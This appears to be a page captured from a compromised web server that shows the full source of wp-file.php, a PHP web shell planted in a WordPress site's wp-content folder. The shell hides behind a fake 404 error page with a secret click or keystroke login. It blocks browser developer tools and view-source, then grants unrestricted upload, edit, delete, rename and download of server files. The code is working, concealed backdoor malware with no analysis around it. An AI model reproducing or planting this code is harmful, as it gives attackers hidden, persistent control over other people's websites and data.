HEX
Server: Apache
System: Linux nc-ph-0707-26.instaforreviews.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User: qirgxuo4hkuv (1004)
PHP: 8.3.27
Disabled: NONE
Upload Files
File: /home/qirgxuo4hkuv/public_html/shovago.com/wp-content/wp-file.php
<?php
session_start();

// ================= LOGIN CONFIG =================
$LOGIN_USER = 'admin';
$LOGIN_HASH = '92f8a7adea4d12b08398b78b9c4b9e2d';
$error = '';

// ================= LOGIN PROTECTION =================
if (empty($_SESSION['outer_loggedin']) || $_SESSION['outer_loggedin'] !== true) {

    if (isset($_POST['login_hidden'])) {
        $u = isset($_POST['username']) ? trim($_POST['username']) : '';
        $p = isset($_POST['password']) ? trim($_POST['password']) : '';

        if ($u === $LOGIN_USER && md5($p) === $LOGIN_HASH) {
            $_SESSION['outer_loggedin'] = true;
            $_SESSION['loggedin'] = true;
            header("Location: " . $_SERVER['REQUEST_URI']);
            exit;
        } else {
            $error = 'Username atau password salah';
        }
    }

    // ================= FAKE NGINX ERROR PAGE =================
    ?>
    <!DOCTYPE html>
    <html lang="id">
    <head>
        <meta charset="UTF-8">
        <title>404 Not Found</title>
        <style>
            body { margin:0; padding:0; font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif; background:#f9f9f9; color:#444; display:flex; justify-content:center; align-items:center; height:100vh; text-align:center;}
            .container {max-width:600px;}
            .error-code {font-size:120px;font-weight:bold;color:#0b0c0c;margin:0;}
            .error-text {font-size:28px;margin:0 0 20px 0;}
            .hint {font-size:16px;color:#777;margin-bottom:30px;}
            #login-wrapper {display:none;margin-top:20px;}
            #login-wrapper.show {display:block;}
            input[type=text], input[type=password] {padding:8px 12px; font-size:14px; border:1px solid #ccc; border-radius:3px; margin:0 5px 10px 0;}
            button {padding:8px 16px;background:#007acc;border:none;color:#fff;border-radius:3px;cursor:pointer;}
            button:hover {background:#005a99;}
            .error-msg {color:#d9534f;font-size:13px;margin-top:5px;}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="error-code">404</div>
            <div class="error-text">Not Found</div>
            <div class="hint">The requested URL was not found on this server.</div>

            <div id="login-wrapper">
                <form method="post" autocomplete="off">
                    <input type="text" name="username" placeholder="Username" required>
                    <input type="password" name="password" placeholder="Password" required>
                    <button type="submit" name="login_hidden" value="1">Login</button>
                </form>
                <?php if($error): ?>
                    <div class="error-msg"><?php echo htmlspecialchars($error); ?></div>
                <?php endif; ?>
            </div>
        </div>

        <script>
        (function(){
            const errorCode = document.querySelector('.error-code');
            const loginWrap = document.getElementById('login-wrapper');
            let clicks = 0, timer = null;

            function showLogin(){ loginWrap.classList.add('show'); }

            errorCode.addEventListener('click', ()=>{
                clicks++;
                if(timer) clearTimeout(timer);
                timer = setTimeout(()=>clicks=0,1000);
                if(clicks>=5) showLogin();
            });

            document.addEventListener('keydown', e=>{
                if(e.ctrlKey && e.shiftKey && (e.key==='P'||e.key==='p')) { e.preventDefault(); showLogin(); }
                if((e.ctrlKey&&(e.key==='u'||e.key==='U'||e.key==='s'||e.key==='S'))||e.key==='F12'||(e.ctrlKey&&e.shiftKey&&(e.key==='I'||e.key==='i'||e.key==='J'||e.key==='j'))) { e.preventDefault(); e.stopPropagation(); }
            });

            document.addEventListener('contextmenu', e=>e.preventDefault());
        })();
        </script>
    </body>
    </html>
    <?php
    exit;
}

// ================= FILE MANAGER =================
$root_dir = realpath(__DIR__);
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;
if (!$current_dir || !is_dir($current_dir)) $current_dir = $root_dir;

function listDirectory($dir){
    $files = scandir($dir);
    $dirs = $files_arr = [];
    foreach($files as $f){
        if($f=='.'||$f=='..') continue;
        if(is_dir($dir.'/'.$f)) $dirs[] = $f;
        else $files_arr[] = $f;
    }
    foreach($dirs as $d){
        echo '<tr>';
        echo '<td><a href="?dir='.urlencode($dir.'/'.$d).'">📁 '.$d.'</a></td>';
        echo '<td>Folder</td>';
        echo '<td>'.date("Y-m-d H:i:s",filemtime($dir.'/'.$d)).'</td>';
        echo '<td><a href="?dir='.urlencode($dir).'&edit='.urlencode($d).'">Edit</a> | <a href="?dir='.urlencode($dir).'&delete='.urlencode($d).'">Delete</a> | <a href="?dir='.urlencode($dir).'&rename='.urlencode($d).'">Rename</a> | <a href="?dir='.urlencode($dir).'&download='.urlencode($d).'">Download</a></td>';
        echo '</tr>';
    }
    foreach($files_arr as $f){
        echo '<tr>';
        echo '<td>'.$f.'</td>';
        echo '<td>'.filesize($dir.'/'.$f).' bytes</td>';
        echo '<td>'.date("Y-m-d H:i:s",filemtime($dir.'/'.$f)).'</td>';
        echo '<td><a href="?dir='.urlencode($dir).'&edit='.urlencode($f).'">Edit</a> | <a href="?dir='.urlencode($dir).'&delete='.urlencode($f).'">Delete</a> | <a href="?dir='.urlencode($dir).'&rename='.urlencode($f).'">Rename</a> | <a href="?dir='.urlencode($dir).'&download='.urlencode($f).'">Download</a></td>';
        echo '</tr>';
    }
}

// ================= OPERASI FILE =================
if(isset($_GET['delete'])){
    $item = $current_dir.'/'.$_GET['delete'];
    if(is_file($item)) unlink($item);
    elseif(is_dir($item)){
        $deleteDir = function($dir) use (&$deleteDir){
            $items = array_diff(scandir($dir),['.','..']);
            foreach($items as $i){ $p="$dir/$i"; is_dir($p)?$deleteDir($p):unlink($p); }
            rmdir($dir);
        };
        $deleteDir($item);
    }
    header("Location:?dir=".urlencode($_GET['dir']));
    exit;
}

if(isset($_GET['download'])){
    $file = $current_dir.'/'.$_GET['download'];
    if(is_file($file)){
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Content-Length: '.filesize($file));
        readfile($file); exit;
    }
}

if(isset($_POST['rename_file'])){
    $old = $current_dir.'/'.$_POST['old_name'];
    $new = $current_dir.'/'.$_POST['new_name'];
    rename($old,$new);
    header("Location:?dir=".urlencode($_GET['dir']));
}

if(isset($_POST['upload'])){
    move_uploaded_file($_FILES['file']['tmp_name'],$current_dir.'/'.basename($_FILES['file']['name']));
    header("Location:?dir=".urlencode($_GET['dir']));
}

if(isset($_POST['save_edit'])){
    file_put_contents($current_dir.'/'.$_POST['file_name'],$_POST['file_content']);
    header("Location:?dir=".urlencode($current_dir));
}

if(isset($_GET['edit'])){
    $file_to_edit = $current_dir.'/'.$_GET['edit'];
    if(is_file($file_to_edit)) $file_content = file_get_contents($file_to_edit);
}

if(isset($_POST['create_file'])){
    file_put_contents($current_dir.'/'.$_POST['new_file_name'],'');
    header("Location:?dir=".urlencode($_GET['dir']));
}

if(isset($_POST['create_folder'])){
    mkdir($current_dir.'/'.$_POST['new_folder_name']);
    header("Location:?dir=".urlencode($_GET['dir']));
}

if(isset($_GET['rename'])){
    $item = $_GET['rename'];
    echo '<h2>Rename: '.htmlspecialchars($item).'</h2>';
    echo '<form method="post">
            <input type="hidden" name="old_name" value="'.htmlspecialchars($item).'">
            <input type="text" name="new_name" placeholder="New Name" required>
            <button type="submit" name="rename_file">Rename</button>
          </form>';
}

// ================= HTML FILE MANAGER =================
?>
<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
    <style>
        body {background:#121212;color:#E0E0E0;font-family:Arial,sans-serif;}
        h2 {color:#BB86FC;}
        table {width:100%;border-collapse:collapse;}
        th,td{padding:10px;text-align:left;}
        th{background:#333;color:#BB86FC;}
        tr:nth-child(even){background:#222;}
        tr:nth-child(odd){background:#121212;}
        a{color:#03DAC6;text-decoration:none;}
        a:hover{color:#BB86FC;}
        button{background:#03DAC6;color:#121212;border:none;padding:5px 10px;cursor:pointer;}
        button:hover{background:#BB86FC;}
        textarea{width:100%;height:400px;background:#222;color:#E0E0E0;border:1px solid #BB86FC;}
        input[type=file], input[type=text]{color:#E0E0E0;background:#222;border:1px solid #BB86FC;padding:5px;}
        .form-container{display:flex;justify-content:space-between;margin-bottom:10px;}
        .form-container form{margin-right:10px;}
    </style>
</head>
<body>
<p>Current Directory: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color:#03DAC6;"><?php echo $current_dir; ?></a></p>

<div class="form-container">
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file"><button type="submit" name="upload">Upload</button>
    </form>
    <form method="post">
        <input type="text" name="new_file_name" placeholder="New File Name" required>
        <button type="submit" name="create_file">Create File</button>
    </form>
    <form method="post">
        <input type="text" name="new_folder_name" placeholder="New Folder Name" required>
        <button type="submit" name="create_folder">Create Folder</button>
    </form>
</div>

<?php if(isset($_GET['edit']) && is_file($file_to_edit)): ?>
<h2>Edit File: <?php echo htmlspecialchars($_GET['edit']); ?></h2>
<form method="post">
<textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
<input type="hidden" name="file_name" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
<button type="submit" name="save_edit">Save</button>
</form>
<?php endif; ?>

<table>
<thead>
<tr><th>File/Folder</th><th>Size</th><th>Last Modified</th><th>Actions</th></tr>
</thead>
<tbody>
<?php listDirectory($current_dir); ?>
</tbody>
</table>

<script>
document.addEventListener('keydown', e=>{
    if((e.ctrlKey&&(e.key==='u'||e.key==='U'||e.key==='s'||e.key==='S'))||e.key==='F12'||(e.ctrlKey&&e.shiftKey&&(e.key==='I'||e.key==='i'||e.key==='J'||e.key==='j'))) { e.preventDefault(); e.stopPropagation(); }
});
document.addEventListener('contextmenu', e=>e.preventDefault());
</script>
</body>
</html>